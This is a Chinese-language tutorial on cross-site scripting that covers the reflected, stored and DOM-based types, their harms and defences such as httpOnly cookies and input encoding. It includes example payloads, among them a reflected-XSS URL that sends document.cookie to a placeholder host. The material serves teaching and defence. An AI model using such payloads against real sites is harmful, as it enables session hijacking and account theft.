XSS是什麼
XSS中文名爲跨站腳本, 是發生在目標用戶的瀏覽器層面上的,當渲染DOM樹的過程成發生了不在預期內執行的JS代碼時,就發生了XSS攻擊。大多數XSS攻擊的主要方式是嵌入一段遠程或者第三方域上的JS代碼。實際上是在目標網站的作用域下執行了這段js代碼。
XSS攻擊類型
- XSS反射型攻擊
反射型XSS,也叫非持久型XSS,是指發生請求時,XSS代碼出現在請求URL中,作爲參數提交到服務器,服務器解析並響應。響應結果中包含XSS代碼,最後瀏覽器解析並執行。
例子
- 假如在一個頁面的搜索框,填入
“<script>alert(document.cookie)</script>”
點擊搜索。 - 但是前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 通過alert獲取到了個人的cookie信息。
3.同時可以構造獲取用戶cookies的地址,通過QQ羣或者垃圾郵件,來讓其他人點擊這個地址獲取到其他人的cookie:
http://xxx/search?keyword=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
當別人一點擊這個鏈接就會被獲取到其cookie。如果是黑客的話,他們會注入一段第三方的js代碼,然後將獲取到的cookie信息存到他們的服務器上。這樣的話黑客們就有機會拿到我們的身份認證做一些違法的事情了。
- 存儲型 XSS
存儲型XSS,也叫持久型XSS,主要是將XSS代碼發送到服務器(不管是數據庫、內存還是文件系統等。),然後在下次請求頁面的時候就不用帶上XSS代碼了,而是從服務器讀取。
存儲型XSS是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
例子
- 發一篇文章,裏面包含了惡意腳本
咱們裸熊真好看!<script>alert('handsome boy')</script>
- 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
- 當其他看這篇文章的時候,包含的惡意腳本就會執行。
- DOM XSS
DOM XSS代碼不需要服務器端的解析響應的直接參與,而是通過瀏覽器端的DOM解析。DOM XSS代碼的攻擊發生的可能在於我們編寫JS代碼造成的。我們知道eval語句有一個作用是將一段字符串轉換爲真正的JS語句,因此在JS中使用eval是很危險的事情,容易造成XSS攻擊。避免使用eval語句。test.addEventListener('click', function () { var node = window.eval(txt.value) window.alert(node) }, false) txt中的代碼如下 <img src='null' onerror='alert(123)' />
XSS危害
- 通過document.cookie盜取cookie
- 使用js或css破壞頁面正常的結構與樣式
- 流量劫持(通過訪問某段具有window.location.href定位到其他頁面)
- Dos攻擊:利用合理的客戶端請求來佔用過多的服務器資源,從而使合法用戶無法得到服務器響應。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作。
- 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
XSS防範
- 對cookie的保護
對重要的cookie設置httpOnly, 防止客戶端通過document.cookie讀取cookie。服務端可以設置此字段。 - 對用戶輸入數據的處理
- 編碼:不能對用戶輸入的內容都保持原樣,對用戶輸入的數據進行字符實體編碼。對於字符實體的概念可以參考文章底部給出的參考鏈接。
- 解碼:原樣顯示內容的時候必須解碼,不然顯示不到內容了。
- 過濾:當服務端不校驗時候,前端要以各種方式過濾裏面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。把輸入的一些不合法的東西都過濾掉,從而保證安全性。如移除用戶上傳的DOM屬性,如onerror,移除用戶上傳的Style節點,iframe, script節點等。
參考: